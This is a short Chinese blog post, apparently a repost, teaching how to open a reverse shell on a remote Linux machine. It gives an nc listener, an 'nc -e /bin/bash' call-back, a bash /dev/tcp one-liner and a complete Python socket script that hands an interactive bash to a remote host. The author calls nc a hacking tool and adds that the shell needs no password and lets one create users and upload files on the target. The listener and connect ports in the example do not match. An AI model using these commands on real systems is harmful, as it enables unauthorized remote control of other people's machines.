使用Python和nc对远程主机进行反向shell链接

nc这个命令屌炸天,经常用作黑客工具。简单说下反向shell

2台Linux电脑

A:192.168.0.21

B:192.168.0.22

A设置nc -lv 8081

B执行nc 192.168.0.21 8080 -e /bin/bash

这样就A就可以链接上B计算机的shell

但是-e这个参数默认时候是木有的,甚者nc命令都木有,可以自己下载源代码编译一个,略麻烦

但是在目标计算机A中必然有bash

bash -i>& /dev/tcp/192.168.100.113/4444 0>&1

但是要自己创建socket文件,麻烦


最后使用Python写脚本

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.21',8080))
#重定向shell输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#执行子程序
p=subprocess.call(['/bin/bash','-i'])

A机器
使用Python和nc对远程主机进行反向shell链接_第1张图片

B机器

使用Python和nc对远程主机进行反向shell链接_第2张图片


稍微多想想,为什么我不用SSH这种东西呢?

链接时候没有使用密码0 0,可以跳过很多事情,可以创建用户,上传文件,至于怎么让目标机器执行这个代码,那办法太多了。

你可能感兴趣的:(使用Python和nc对远程主机进行反向shell链接)